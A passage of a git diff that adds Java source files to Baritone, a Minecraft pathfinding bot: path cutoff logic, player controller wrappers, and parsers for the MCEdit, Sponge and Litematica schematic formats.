+ if (!bsi.worldContainsLoadedChunk(pos.getX(), pos.getZ())) { + return new CutoffPath(this, i); + } + } + return this; + } + + @Override + public PathBase staticCutoff(Goal destination) { + int min = BaritoneAPI.getSettings().pathCutoffMinimumLength.value; + if (length() < min) { + return this; + } + if (destination == null || destination.isInGoal(getDest())) { + return this; + } + double factor = BaritoneAPI.getSettings().pathCutoffFactor.value; + int newLength = (int) ((length() - min) * factor) + min - 1; + return new CutoffPath(this, newLength); + } +} diff --git a/src/baritone/utils/pathing/PathingBlockType.java b/src/baritone/utils/pathing/PathingBlockType.java new file mode 100644 index 00000000..43a7ebef --- /dev/null +++ b/src/baritone/utils/pathing/PathingBlockType.java @@ -0,0 +1,47 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.pathing; + +/** + * @author Brady + * @since 8/4/2018 + */ +public enum PathingBlockType { + + AIR(0b00), + WATER(0b01), + AVOID(0b10), + SOLID(0b11); + + private final boolean[] bits; + + PathingBlockType(int bits) { + this.bits = new boolean[]{ + (bits & 0b10) != 0, + (bits & 0b01) != 0 + }; + } + + public final boolean[] getBits() { + return this.bits; + } + + public static PathingBlockType fromBits(boolean b1, boolean b2) { + return b1 ? b2 ? SOLID : AVOID : b2 ? WATER : AIR; + } +} diff --git a/src/baritone/utils/player/BaritonePlayerContext.java b/src/baritone/utils/player/BaritonePlayerContext.java new file mode 100644 index 00000000..14c16729 --- /dev/null +++ b/src/baritone/utils/player/BaritonePlayerContext.java @@ -0,0 +1,87 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.player; + +import baritone.Baritone; +import baritone.api.cache.IWorldData; +import baritone.api.utils.*; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.client.Minecraft; +import net.minecraft.entity.Entity; +import net.minecraft.util.math.RayTraceResult; +import net.minecraft.world.World; + +/** + * Implementation of {@link IPlayerContext} that provides information about the primary player. + * + * @author Brady + * @since 11/12/2018 + */ +public final class BaritonePlayerContext implements IPlayerContext { + + private final Baritone baritone; + private final Minecraft mc; + private final IPlayerController playerController; + + public BaritonePlayerContext(Baritone baritone, Minecraft mc) { + this.baritone = baritone; + this.mc = mc; + this.playerController = new BaritonePlayerController(mc); + } + + @Override + public Minecraft minecraft() { + return this.mc; + } + + @Override + public ClientPlayerEntity player() { + return this.mc.player; + } + + @Override + public IPlayerController playerController() { + return this.playerController; + } + + @Override + public World world() { + return this.mc.world; + } + + @Override + public IWorldData worldData() { + return this.baritone.getWorldProvider().getCurrentWorld(); + } + + @Override + public BetterBlockPos viewerPos() { + final Entity entity = this.mc.getRenderViewEntity(); + return entity == null ? this.playerFeet() : BetterBlockPos.from(entity.getPosition()); + } + + @Override + public Rotation playerRotations() { + return this.baritone.getLookBehavior().getEffectiveRotation().orElseGet(IPlayerContext.super::playerRotations); + } + + @Override + public RayTraceResult objectMouseOver() { + return RayTraceUtils.rayTraceTowards(player(), playerRotations(), playerController().getBlockReachDistance()); + } +} diff --git a/src/baritone/utils/player/BaritonePlayerController.java b/src/baritone/utils/player/BaritonePlayerController.java new file mode 100644 index 00000000..dea27b02 --- /dev/null +++ b/src/baritone/utils/player/BaritonePlayerController.java @@ -0,0 +1,101 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.player; + +import baritone.api.utils.IPlayerController; +import baritone.utils.accessor.IPlayerControllerMP; +import net.minecraft.client.Minecraft; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.client.world.ClientWorld; +import net.minecraft.entity.player.PlayerEntity; +import net.minecraft.inventory.container.ClickType; +import net.minecraft.item.ItemStack; +import net.minecraft.util.ActionResultType; +import net.minecraft.util.Direction; +import net.minecraft.util.Hand; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.world.GameType; +import net.minecraft.world.World; + + +/** + * Implementation of {@link IPlayerController} that chains to the primary player controller's methods + * + * @author Brady + * @since 12/14/2018 + */ +public final class BaritonePlayerController implements IPlayerController { + + private final Minecraft mc; + + public BaritonePlayerController(Minecraft mc) { + this.mc = mc; + } + + @Override + public void syncHeldItem() { + ((IPlayerControllerMP) mc.playerController).callSyncCurrentPlayItem(); + } + + @Override + public boolean hasBrokenBlock() { + return ((IPlayerControllerMP) mc.playerController).getCurrentBlock().getY() == -1; + } + + @Override + public boolean onPlayerDamageBlock(BlockPos pos, Direction side) { + return mc.playerController.onPlayerDamageBlock(pos, side); + } + + @Override + public void resetBlockRemoving() { + mc.playerController.resetBlockRemoving(); + } + + @Override + public ItemStack windowClick(int windowId, int slotId, int mouseButton, ClickType type, PlayerEntity player) { + return mc.playerController.windowClick(windowId, slotId, mouseButton, type, player); + } + + @Override + public GameType getGameType() { + return mc.playerController.getCurrentGameType(); + } + + @Override + public ActionResultType processRightClickBlock(ClientPlayerEntity player, World world, Hand hand, BlockRayTraceResult result) { + // primaryplayercontroller is always in a ClientWorld so this is ok + return mc.playerController.func_217292_a(player, (ClientWorld) world, hand, result); + } + + @Override + public ActionResultType processRightClick(ClientPlayerEntity player, World world, Hand hand) { + return mc.playerController.processRightClick(player, world, hand); + } + + @Override + public boolean clickBlock(BlockPos loc, Direction face) { + return mc.playerController.clickBlock(loc, face); + } + + @Override + public void setHittingBlock(boolean hittingBlock) { + ((IPlayerControllerMP) mc.playerController).setIsHittingBlock(hittingBlock); + } +} diff --git a/src/baritone/utils/schematic/MapArtSchematic.java b/src/baritone/utils/schematic/MapArtSchematic.java new file mode 100644 index 00000000..3af7e4c2 --- /dev/null +++ b/src/baritone/utils/schematic/MapArtSchematic.java @@ -0,0 +1,69 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.schematic; + +import baritone.api.schematic.IStaticSchematic; +import baritone.api.schematic.MaskSchematic; +import net.minecraft.block.AirBlock; +import net.minecraft.block.BlockState; + +import java.util.OptionalInt; +import java.util.function.Predicate; + +public class MapArtSchematic extends MaskSchematic { + + private final int[][] heightMap; + + public MapArtSchematic(IStaticSchematic schematic) { + super(schematic); + this.heightMap = generateHeightMap(schematic); + } + + @Override + protected boolean partOfMask(int x, int y, int z, BlockState currentState) { + return y >= this.heightMap[x][z]; + } + + private static int[][] generateHeightMap(IStaticSchematic schematic) { + int[][] heightMap = new int[schematic.widthX()][schematic.lengthZ()]; + + for (int x = 0; x < schematic.widthX(); x++) { + for (int z = 0; z < schematic.lengthZ(); z++) { + BlockState[] column = schematic.getColumn(x, z); + OptionalInt lowestBlockY = lastIndexMatching(column, state -> !(state.getBlock() instanceof AirBlock)); + if (lowestBlockY.isPresent()) { + heightMap[x][z] = lowestBlockY.getAsInt(); + } else { + System.out.println("Column " + x + "," + z + " has no blocks, but it's apparently map art? wtf"); + System.out.println("Letting it be whatever"); + heightMap[x][z] = 256; + } + } + } + return heightMap; + } + + private static OptionalInt lastIndexMatching(T[] arr, Predicate predicate) { + for (int y = arr.length - 1; y >= 0; y--) { + if (predicate.test(arr[y])) { + return OptionalInt.of(y); + } + } + return OptionalInt.empty(); + } +} diff --git a/src/baritone/utils/schematic/SchematicSystem.java b/src/baritone/utils/schematic/SchematicSystem.java new file mode 100644 index 00000000..8afafa8c --- /dev/null +++ b/src/baritone/utils/schematic/SchematicSystem.java @@ -0,0 +1,51 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.schematic; + +import baritone.api.command.registry.Registry; +import baritone.api.schematic.ISchematicSystem; +import baritone.api.schematic.format.ISchematicFormat; +import baritone.utils.schematic.format.DefaultSchematicFormats; + +import java.io.File; +import java.util.Arrays; +import java.util.Optional; + +/** + * @author Brady + * @since 12/24/2019 + */ +public enum SchematicSystem implements ISchematicSystem { + INSTANCE; + + private final Registry registry = new Registry<>(); + + SchematicSystem() { + Arrays.stream(DefaultSchematicFormats.values()).forEach(this.registry::register); + } + + @Override + public Registry getRegistry() { + return this.registry; + } + + @Override + public Optional getByFile(File file) { + return this.registry.stream().filter(format -> format.isFileType(file)).findFirst(); + } +} diff --git a/src/baritone/utils/schematic/SelectionSchematic.java b/src/baritone/utils/schematic/SelectionSchematic.java new file mode 100644 index 00000000..0abe6e6d --- /dev/null +++ b/src/baritone/utils/schematic/SelectionSchematic.java @@ -0,0 +1,53 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.schematic; + +import baritone.api.schematic.ISchematic; +import baritone.api.schematic.MaskSchematic; +import baritone.api.selection.ISelection; +import net.minecraft.block.BlockState; +import net.minecraft.util.Direction; +import net.minecraft.util.math.vector.Vector3i; + +import java.util.stream.Stream; + +public class SelectionSchematic extends MaskSchematic { + + private final ISelection[] selections; + + public SelectionSchematic(ISchematic schematic, Vector3i origin, ISelection[] selections) { + super(schematic); + this.selections = Stream.of(selections).map( + sel -> sel + .shift(Direction.WEST, origin.getX()) + .shift(Direction.DOWN, origin.getY()) + .shift(Direction.NORTH, origin.getZ())) + .toArray(ISelection[]::new); + } + + @Override + protected boolean partOfMask(int x, int y, int z, BlockState currentState) { + for (ISelection selection : selections) { + if (x >= selection.min().x && y >= selection.min().y && z >= selection.min().z + && x <= selection.max().x && y <= selection.max().y && z <= selection.max().z) { + return true; + } + } + return false; + } +} diff --git a/src/baritone/utils/schematic/StaticSchematic.java b/src/baritone/utils/schematic/StaticSchematic.java new file mode 100644 index 00000000..37da08a8 --- /dev/null +++ b/src/baritone/utils/schematic/StaticSchematic.java @@ -0,0 +1,50 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.schematic; + +import baritone.api.schematic.AbstractSchematic; +import baritone.api.schematic.IStaticSchematic; +import net.minecraft.block.BlockState; + +import java.util.List; + +/** + * Default implementation of {@link IStaticSchematic} + * + * @author Brady + * @since 12/23/2019 + */ +public class StaticSchematic extends AbstractSchematic implements IStaticSchematic { + + protected BlockState[][][] states; + + @Override + public BlockState desiredState(int x, int y, int z, BlockState current, List approxPlaceable) { + return this.states[x][z][y]; + } + + @Override + public BlockState getDirect(int x, int y, int z) { + return this.states[x][z][y]; + } + + @Override + public BlockState[] getColumn(int x, int z) { + return this.states[x][z]; + } +} diff --git a/src/baritone/utils/schematic/format/DefaultSchematicFormats.java b/src/baritone/utils/schematic/format/DefaultSchematicFormats.java new file mode 100644 index 00000000..9cb5bb90 --- /dev/null +++ b/src/baritone/utils/schematic/format/DefaultSchematicFormats.java @@ -0,0 +1,102 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.schematic.format; + +import baritone.api.schematic.IStaticSchematic; +import baritone.api.schematic.format.ISchematicFormat; +import baritone.utils.schematic.format.defaults.LitematicaSchematic; +import baritone.utils.schematic.format.defaults.MCEditSchematic; +import baritone.utils.schematic.format.defaults.SpongeSchematic; +import net.minecraft.nbt.CompoundNBT; +import net.minecraft.nbt.CompressedStreamTools; +import org.apache.commons.io.FilenameUtils; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; + +/** + * Default implementations of {@link ISchematicFormat} + * + * @author Brady + * @since 12/13/2019 + */ +public enum DefaultSchematicFormats implements ISchematicFormat { + + /** + * The MCEdit schematic specification. Commonly denoted by the ".schematic" file extension. + */ + MCEDIT("schematic") { + @Override + public IStaticSchematic parse(InputStream input) throws IOException { + return new MCEditSchematic(CompressedStreamTools.readCompressed(input)); + } + }, + + /** + * The SpongePowered Schematic Specification. Commonly denoted by the ".schem" file extension. + * + * @see Sponge Schematic Specification + */ + SPONGE("schem") { + @Override + public IStaticSchematic parse(InputStream input) throws IOException { + CompoundNBT nbt = CompressedStreamTools.readCompressed(input); + int version = nbt.getInt("Version"); + switch (version) { + case 1: + case 2: + return new SpongeSchematic(nbt); + default: + throw new UnsupportedOperationException("Unsupported Version of a Sponge Schematic"); + } + } + }, + + /** + * The Litematica schematic specification. Commonly denoted by the ".litematic" file extension. + */ + LITEMATICA("litematic") { + @Override + public IStaticSchematic parse(InputStream input) throws IOException { + CompoundNBT nbt = CompressedStreamTools.readCompressed(input); + int version = nbt.getInt("Version"); + switch (version) { + case 4: //1.12 + throw new UnsupportedOperationException("This litematic Version is too old."); + case 5: //1.13-1.17 + return new LitematicaSchematic(nbt, false); + case 6: //1.18+ + throw new UnsupportedOperationException("This litematic Version is too new."); + default: + throw new UnsupportedOperationException("Unsuported Version of a Litematica Schematic"); + } + } + }; + + private final String extension; + + DefaultSchematicFormats(String extension) { + this.extension = extension; + } + + @Override + public boolean isFileType(File file) { + return this.extension.equalsIgnoreCase(FilenameUtils.getExtension(file.getAbsolutePath())); + } +} diff --git a/src/baritone/utils/schematic/format/defaults/LitematicaSchematic.java b/src/baritone/utils/schematic/format/defaults/LitematicaSchematic.java new file mode 100644 index 00000000..20fbcb1a --- /dev/null +++ b/src/baritone/utils/schematic/format/defaults/LitematicaSchematic.java @@ -0,0 +1,347 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.schematic.format.defaults; + +import baritone.utils.schematic.StaticSchematic; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.nbt.CompoundNBT; +import net.minecraft.nbt.ListNBT; +import net.minecraft.state.Property; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.math.vector.Vector3i; +import net.minecraft.util.registry.Registry; +import org.apache.commons.lang3.Validate; + +import javax.annotation.Nullable; +import java.util.Optional; + +/** + * Based on EmersonDove's work + * ... + * + * @author rycbar + * @since 22.09.2022 + */ +public final class LitematicaSchematic extends StaticSchematic { + private final Vector3i offsetMinCorner; + private final CompoundNBT nbt; + + /** + * @param nbtTagCompound a decompressed file stream aka nbt data. + * @param rotated if the schematic is rotated by 90°. + */ + public LitematicaSchematic(CompoundNBT nbtTagCompound, boolean rotated) { + this.nbt = nbtTagCompound; + this.offsetMinCorner = new Vector3i(getMinOfSchematic("x"), getMinOfSchematic("y"), getMinOfSchematic("z")); + this.y = Math.abs(nbt.getCompound("Metadata").getCompound("EnclosingSize").getInt("y")); + + if (rotated) { + this.x = Math.abs(nbt.getCompound("Metadata").getCompound("EnclosingSize").getInt("z")); + this.z = Math.abs(nbt.getCompound("Metadata").getCompound("EnclosingSize").getInt("x")); + } else { + this.x = Math.abs(nbt.getCompound("Metadata").getCompound("EnclosingSize").getInt("x")); + this.z = Math.abs(nbt.getCompound("Metadata").getCompound("EnclosingSize").getInt("z")); + } + this.states = new BlockState[this.x][this.z][this.y]; + fillInSchematic(); + } + + /** + * @return Array of subregion names. + */ + private static String[] getRegions(CompoundNBT nbt) { + return nbt.getCompound("Regions").keySet().toArray(new String[0]); + } + + /** + * Gets both ends from a region box for a given axis and returns the lower one. + * + * @param s axis that should be read. + * @return the lower coord of the requested axis. + */ + private static int getMinOfSubregion(CompoundNBT nbt, String subReg, String s) { + int a = nbt.getCompound("Regions").getCompound(subReg).getCompound("Position").getInt(s); + int b = nbt.getCompound("Regions").getCompound(subReg).getCompound("Size").getInt(s); + if (b < 0) { + b++; + } + return Math.min(a, a + b); + + } + + /** + * @param blockStatePalette List of all different block types used in the schematic. + * @return Array of BlockStates. + */ + private static BlockState[] getBlockList(ListNBT blockStatePalette) { + BlockState[] blockList = new BlockState[blockStatePalette.size()]; + + for (int i = 0; i < blockStatePalette.size(); i++) { + Block block = Registry.BLOCK.getOrDefault(new ResourceLocation((((CompoundNBT) blockStatePalette.get(i)).getString("Name")))); + CompoundNBT properties = ((CompoundNBT) blockStatePalette.get(i)).getCompound("Properties"); + + blockList[i] = getBlockState(block, properties); + } + return blockList; + } + + /** + * @param block block. + * @param properties List of Properties the block has. + * @return A blockState. + */ + private static BlockState getBlockState(Block block, CompoundNBT properties) { + BlockState blockState = block.getDefaultState(); + + for (Object key : properties.keySet().toArray()) { + Property property = block.getStateContainer().getProperty((String) key); + String propertyValue = properties.getString((String) key); + if (property != null) { + blockState = setPropertyValue(blockState, property, propertyValue); + } + } + return blockState; + } + + /** + * @author Emerson + */ + private static > BlockState setPropertyValue(BlockState state, Property property, String value) { + Optional parsed = property.parseValue(value); + if (parsed.isPresent()) { + return state.with(property, parsed.get()); + } else { + throw new IllegalArgumentException("Invalid value for property " + property); + } + } + + /** + * @param amountOfBlockTypes amount of block types in the schematic. + * @return amount of bits used to encode a block. + */ + private static int getBitsPerBlock(int amountOfBlockTypes) { + return (int) Math.max(2, Math.ceil(Math.log(amountOfBlockTypes) / Math.log(2))); + } + + /** + * Calculates the volume of the subregion. As size can be a negative value we take the absolute value of the + * multiplication as the volume still holds a positive amount of blocks. + * + * @return the volume of the subregion. + */ + private static long getVolume(CompoundNBT nbt, String subReg) { + return Math.abs( + nbt.getCompound("Regions").getCompound(subReg).getCompound("Size").getInt("x") * + nbt.getCompound("Regions").getCompound(subReg).getCompound("Size").getInt("y") * + nbt.getCompound("Regions").getCompound(subReg).getCompound("Size").getInt("z")); + } + + /** + * @return array of Long values. + */ + private static long[] getBlockStates(CompoundNBT nbt, String subReg) { + return nbt.getCompound("Regions").getCompound(subReg).getLongArray("BlockStates"); + } + + /** + * Subregion don't have to be the same size as the enclosing size of the schematic. If they are smaller we check here if the current block is part of the subregion. + * + * @param x coord of the block relative to the minimum corner. + * @param y coord of the block relative to the minimum corner. + * @param z coord of the block relative to the minimum corner. + * @return if the current block is part of the subregion. + */ + private static boolean inSubregion(CompoundNBT nbt, String subReg, int x, int y, int z) { + return x >= 0 && y >= 0 && z >= 0 && + x < Math.abs(nbt.getCompound("Regions").getCompound(subReg).getCompound("Size").getInt("x")) && + y < Math.abs(nbt.getCompound("Regions").getCompound(subReg).getCompound("Size").getInt("y")) && + z < Math.abs(nbt.getCompound("Regions").getCompound(subReg).getCompound("Size").getInt("z")); + } + + /** + * @param s axis. + * @return the lowest coordinate of that axis of the schematic. + */ + private int getMinOfSchematic(String s) { + int n = Integer.MAX_VALUE; + for (String subReg : getRegions(nbt)) { + n = Math.min(n, getMinOfSubregion(nbt, subReg, s)); + } + return n; + } + + /** + * reads the file data. + */ + private void fillInSchematic() { + for (String subReg : getRegions(nbt)) { + ListNBT usedBlockTypes = nbt.getCompound("Regions").getCompound(subReg).getList("BlockStatePalette", 10); + BlockState[] blockList = getBlockList(usedBlockTypes); + + int bitsPerBlock = getBitsPerBlock(usedBlockTypes.size()); + long regionVolume = getVolume(nbt, subReg); + long[] blockStateArray = getBlockStates(nbt, subReg); + + LitematicaBitArray bitArray = new LitematicaBitArray(bitsPerBlock, regionVolume, blockStateArray); + + writeSubregionIntoSchematic(nbt, subReg, blockList, bitArray); + } + } + + /** + * Writes the file data in to the IBlockstate array. + * + * @param blockList list with the different block types used in the schematic. + * @param bitArray bit array that holds the placement pattern. + */ + private void writeSubregionIntoSchematic(CompoundNBT nbt, String subReg, BlockState[] blockList, LitematicaBitArray bitArray) { + Vector3i offsetSubregion = new Vector3i(getMinOfSubregion(nbt, subReg, "x"), getMinOfSubregion(nbt, subReg, "y"), getMinOfSubregion(nbt, subReg, "z")); + int index = 0; + for (int y = 0; y < this.y; y++) { + for (int z = 0; z < this.z; z++) { + for (int x = 0; x < this.x; x++) { + if (inSubregion(nbt, subReg, x, y, z)) { + this.states[x - (offsetMinCorner.getX() - offsetSubregion.getX())][z - (offsetMinCorner.getZ() - offsetSubregion.getZ())][y - (offsetMinCorner.getY() - offsetSubregion.getY())] = blockList[bitArray.getAt(index)]; + index++; + } + } + } + } + } + + /** + * @return offset from the schematic origin to the minimum Corner as a Vec3i. + */ + public Vector3i getOffsetMinCorner() { + return offsetMinCorner; + } + + /** + * @return x size of the schematic. + */ + public int getX() { + return this.x; + } + + /** + * @return y size of the schematic. + */ + public int getY() { + return this.y; + } + + /** + * @return z size of the schematic. + */ + public int getZ() { + return this.z; + } + + /** + * @param x position relative to the minimum corner of the schematic. + * @param y position relative to the minimum corner of the schematic. + * @param z position relative to the minimum corner of the schematic. + * @param blockState new blockstate of the block at this position. + */ + public void setDirect(int x, int y, int z, BlockState blockState) { + this.states[x][z][y] = blockState; + } + + /** + * @param rotated if the schematic is rotated by 90°. + * @return a copy of the schematic. + */ + public LitematicaSchematic getCopy(boolean rotated) { + return new LitematicaSchematic(nbt, rotated); + } + + /** + * @author maruohon + * Class from the Litematica mod by maruohon + * Usage under LGPLv3 with the permission of the author. + * ... + */ + private static class LitematicaBitArray { + /** + * The long array that is used to store the data for this BitArray. + */ + private final long[] longArray; + /** + * Number of bits a single entry takes up + */ + private final int bitsPerEntry; + /** + * The maximum value for a single entry. This also works as a bitmask for a single entry. + * For instance, if bitsPerEntry were 5, this value would be 31 (ie, {@code 0b00011111}). + */ + private final long maxEntryValue; + /** + * Number of entries in this array (not the length of the long array that internally backs this array) + */ + private final long arraySize; + + public LitematicaBitArray(int bitsPerEntryIn, long arraySizeIn, @Nullable long[] longArrayIn) { + Validate.inclusiveBetween(1L, 32L, bitsPerEntryIn); + this.arraySize = arraySizeIn; + this.bitsPerEntry = bitsPerEntryIn; + this.maxEntryValue = (1L << bitsPerEntryIn) - 1L; + + if (longArrayIn != null) { + this.longArray = longArrayIn; + } else { + this.longArray = new long[(int) (roundUp(arraySizeIn * (long) bitsPerEntryIn, 64L) / 64L)]; + } + } + + public static long roundUp(long number, long interval) { + int sign = 1; + if (interval == 0) { + return 0; + } else if (number == 0) { + return interval; + } else { + if (number < 0) { + sign = -1; + } + + long i = number % (interval * sign); + return i == 0 ? number : number + (interval * sign) - i; + } + } + + public int getAt(long index) { + Validate.inclusiveBetween(0L, this.arraySize - 1L, index); + long startOffset = index * (long) this.bitsPerEntry; + int startArrIndex = (int) (startOffset >> 6); // startOffset / 64 + int endArrIndex = (int) (((index + 1L) * (long) this.bitsPerEntry - 1L) >> 6); + int startBitOffset = (int) (startOffset & 0x3F); // startOffset % 64 + + if (startArrIndex == endArrIndex) { + return (int) (this.longArray[startArrIndex] >>> startBitOffset & this.maxEntryValue); + } else { + int endOffset = 64 - startBitOffset; + return (int) ((this.longArray[startArrIndex] >>> startBitOffset | this.longArray[endArrIndex] << endOffset) & this.maxEntryValue); + } + } + + public long size() { + return this.arraySize; + } + } +} \ No newline at end of file diff --git a/src/baritone/utils/schematic/format/defaults/MCEditSchematic.java b/src/baritone/utils/schematic/format/defaults/MCEditSchematic.java new file mode 100644 index 00000000..d5f69f1e --- /dev/null +++ b/src/baritone/utils/schematic/format/defaults/MCEditSchematic.java @@ -0,0 +1,73 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.schematic.format.defaults; + +import baritone.utils.schematic.StaticSchematic; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.nbt.CompoundNBT; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.datafix.fixes.ItemIntIDToString; +import net.minecraft.util.registry.Registry; + +/** + * @author Brady + * @since 12/27/2019 + */ +public final class MCEditSchematic extends StaticSchematic { + + public MCEditSchematic(CompoundNBT schematic) { + String type = schematic.getString("Materials"); + if (!type.equals("Alpha")) { + throw new IllegalStateException("bad schematic " + type); + } + this.x = schematic.getInt("Width"); + this.y = schematic.getInt("Height"); + this.z = schematic.getInt("Length"); + byte[] blocks = schematic.getByteArray("Blocks"); +// byte[] metadata = schematic.getByteArray("Data"); + + byte[] additional = null; + if (schematic.contains("AddBlocks")) { + byte[] addBlocks = schematic.getByteArray("AddBlocks"); + additional = new byte[addBlocks.length * 2]; + for (int i = 0; i < addBlocks.length; i++) { + additional[i * 2 + 0] = (byte) ((addBlocks[i] >> 4) & 0xF); // lower nibble + additional[i * 2 + 1] = (byte) ((addBlocks[i] >> 0) & 0xF); // upper nibble + } + } + this.states = new BlockState[this.x][this.z][this.y]; + for (int y = 0; y < this.y; y++) { + for (int z = 0; z < this.z; z++) { + for (int x = 0; x < this.x; x++) { + int blockInd = (y * this.z + z) * this.x + x; + + int blockID = blocks[blockInd] & 0xFF; + if (additional != null) { + // additional is 0 through 15 inclusive since it's & 0xF above + blockID |= additional[blockInd] << 8; + } + Block block = Registry.BLOCK.getOrDefault(ResourceLocation.tryCreate(ItemIntIDToString.getItem(blockID))); +// int meta = metadata[blockInd] & 0xFF; +// this.states[x][z][y] = block.getStateFromMeta(meta); + this.states[x][z][y] = block.getDefaultState(); + } + } + } + } +} diff --git a/src/baritone/utils/schematic/format/defaults/SpongeSchematic.java b/src/baritone/utils/schematic/format/defaults/SpongeSchematic.java new file mode 100644 index 00000000..375b9a96 --- /dev/null +++ b/src/baritone/utils/schematic/format/defaults/SpongeSchematic.java @@ -0,0 +1,158 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils.schematic.format.defaults; + +import baritone.utils.schematic.StaticSchematic; +import baritone.utils.type.VarInt; +import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.nbt.CompoundNBT; +import net.minecraft.state.Property; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.registry.Registry; + +import java.util.HashMap; +import java.util.Map; +import java.util.Optional; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * @author Brady + * @since 12/27/2019 + */ 